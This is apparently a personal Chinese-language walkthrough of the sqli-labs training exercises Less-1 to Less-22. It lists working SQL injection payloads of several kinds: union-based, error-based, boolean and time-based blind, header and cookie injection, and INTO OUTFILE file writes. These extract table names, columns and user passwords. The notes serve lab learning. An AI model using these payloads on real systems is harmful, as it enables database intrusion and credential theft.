sqli-labs(less-1__less-22)
闭合有'
"
)
单双引号不能同时存在,)
可有多个
Less-1
single 单个的
quote 引号
变量前面加 ?
information_schema.tables
information_schema.columns
information_schema.schemata
在Less-1里的index.php中添加 echo $sql;
可在网页中显示查询代码,echo "<br>";
表示换行
?id=1' and 1=1 --+
没有报错,返回正确结果?id=10'
报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''10'' LIMIT 0,1' at line 1
?id=1' and 1=2 --+
没有正确结果
经过这三个步骤说明是字符型注入
使用order by来判断有几个字段
?id=1' order by 4--+
报错Unknown column '4' in 'order clause'
说明有3个字段?id=1' union select 1,concat_ws('_',version(),user(),database()),@@basedir --+
得到版本,用户,当前数据库,数据路径
concat_ws 带分隔符的链接
?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
得到当前库的表名?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata) ,3 --+
查看数据库名信息
group_concat 行转列
?id=-1 ' union select 1, (select group_concat(column_name) from information_schema.columns where table_name="users"), 3 --+
users 表的列名?id=-1 ' union select 1,(select group_concat(password) from users) ,3 --+
得出账户密码
Less-2
?id=1'
报错?id=1 and 1=1
正确?id=1 and 1=2
错误
可知是数字型注入
解题与第一题类似,不再赘述
Less-3
查看源码可知,用()
加在了id两边,所以只要将()
闭合就行了?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3--+
?id=-1') union select 1,(select group_concat(password) from users),3--+
Less-4
查看源码,id两边加了”,用?id=-1")
闭合
Less-5
双注入
- Rand() //随机函数
- Floor() //取整函数
- Count() //汇总函数
- Group by clause //分组语句
https://blog.csdn.net/Leep0rt/article/details/78556440
?id=1' union select count(*),1,concat((select database()), '_',floor(rand()*2)) as a from information_schema.columns group by a--+
select 查询列数要相同,否则报错
?id=1' union select count(*),1,concat((select password from users limit 5,1), '_',floor(rand()*2)) as a from information_schema.columns group by a--+
用group_concat
会报错,使用limit
更新于2019-03-01 22:21:15 星期五
Less-6
尝试注入后可知是用"
闭合,字符串型
其他和上题一致?id=1" union select count(*),concat( (select user()),'_',floor(rand()*2) ) as a,3 from information_schema.schemata group by a --+
?id=1" union select count(*),concat( (select table_name from information_schema.tables where table_schema=database() limit 3,1 ),'_',floor(rand()*2) ) as a,3 from information_schema.schemata group by a --+
?id=1" union select count(*),concat( (select column_name from information_schema.columns where table_name="users" limit 5,1 ),'_',floor(rand()*2) ) as a,3 from information_schema.schemata group by a --+
?id=1" union select count(*),concat( (select password from users limit 0,1 ),'_',floor(rand()*2) ) as a,3 from information_schema.schemata group by a --+
更新于2019-03-03 11:48:51 星期日
Lss-7
利用outfile文件
一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
需要在指定的目录下进行数据的导出。
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load data、into outfile语句和load_file()函数,这些操作需要用户具有file权限。
- 如果这个参数为空,这个变量没有效果。
- 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
- 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
在Mysql中,需要注意路径转义的问题,即用\分隔。
https://www.jianshu.com/p/7b9256de20d1
经过测试,用'))
来闭合
?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "C:\\xampp\\mysql\\data\\security\\4.txt" --+
?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users") into outfile "C:\\xampp\\mysql\\data\\security\\5.txt" --+
?id=1')) union select 1,2,(select group_concat(password) from users) into outfile "C:\\xampp\\mysql\\data\\security\\6.txt" --+
Less-8
盲注布尔注入
当一个页面,存在注入,没显示位,没有数据库出错信息,只能通过页面返回正常不正常进行判断进行sql注入。
- exists()
用于检查 子查询是否有返回数据。 结果是 ture或者false - ascii()
把字符转化成ascii码 - substr()
substr(string string,num start,num length);
偏移从1开始的 并不是0;
DISTINCT 去重复?id=1' and (select ascii(substr( (select database()) ,1,1))>115) --+
?id=1' and ((select count(distinct+table_schema) from information_schema.tables)>6)--+
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101)--+
?id=1' and (select ascii(substr( (select column_name from information_schema.columns where table_name="users" limit 0,1) ,1,1))>11) --+
?id=1' and (select ascii(substr( (select password from users limit 0,1) ,1,1))>68) --+
select database() 作为一个语句加括号
用脚本来跑
更新于2019-03-04 23:09:10 星期一
Less-9
盲注基于时间
if( expr1 , expr2 , expr3 ) expr1 true 返回expr2 false 返回 expr3
?id=1' and if((select ascii(substr(database(),1,1)))=115,sleep(5),1) --+
利用页面返回时间判断对错
例如?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1) --+
Less-10
与上题相同,不过利用"
进行闭合
更新于2019-03-06 20:29:31 星期三
Less-11
GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据
输入'
报错,知用'
闭合uname=' or '1'='1&passwd=' or '1'='1&submit=Submit
可以直接爆出来
其他相同uname=' or '1'='1&passwd=' union select 1,2#&submit=Submit
Less-12
实验可知用")
闭合
其他相同
Less-13
实验知用')
闭合
其他相同,例如
uname=1&passwd=1') and extractvalue(1,concat(0x7e,(database()))) #&submit=Submit
uname=1&passwd=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) #&submit=Submit
Less-14
实验知用"
闭合
其他和上题相同
Less-15
实验知用'
闭合
但没用报错信息
所以使用时间或布尔注入uname=' or if(ascii(substr(database(),1,1))=115,sleep(0.5),1) #&passwd=1&submit=Submit
Less-16
实验知用"
闭合
其他和上题相同
Less-17
在uname中注入,都没有反应
在password中注入,也没有反应
后知先验证用户名正确后,才执行password
updatexml()
uname=admin&passwd=1' or updatexml(1,concat(0x7e,version(),0x7e),1)# &submit=Submit
uname=admin&passwd=1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)# &submit=Submit
Less-18
使用正确账号密码后,页面显示user-agent,则可以在这上面注入
1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)) and '1'='1
其他相同
HTTP 请求头中除了 User-Agent可能存在sql注入意外,还有referer、X-Forwarded-For可能存在sql注入。
更新于2019-03-10 22:43:03 星期日
Less-19
参考上题
输入正确用户和密码后,跳出页面
差不多知道在referer
上注入' and (extractvalue(1,concat(0x7e,(select version()),0x7e)) ) and '1'='1
不能用#
注释,因为后面还有语句存在
' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e)) ) and '1'='1
更新于2019-03-10 22:43:03 星期日
Less-20
由题目知注入点在Cookie中
这里我犯了个错误,由于没有拦截,修改Cookie后,直接点刷新不会出结果,需要重新载入页面
接下来可以用第一题用的' union select 1,2,database()#
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()#
也可以用报错注入' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
Less-21
查看CookieYWRtaW4
进行解密,知是用base64加密的admin
所以只要将上题内容加密即可
Less-22
查看cookieadmin' and 1=1 #
没有查询结果admin" and 1=1 #
结果正确
知是用"
闭合
其他方法与前题相同
更新于2019-03-13 20:26:48 星期三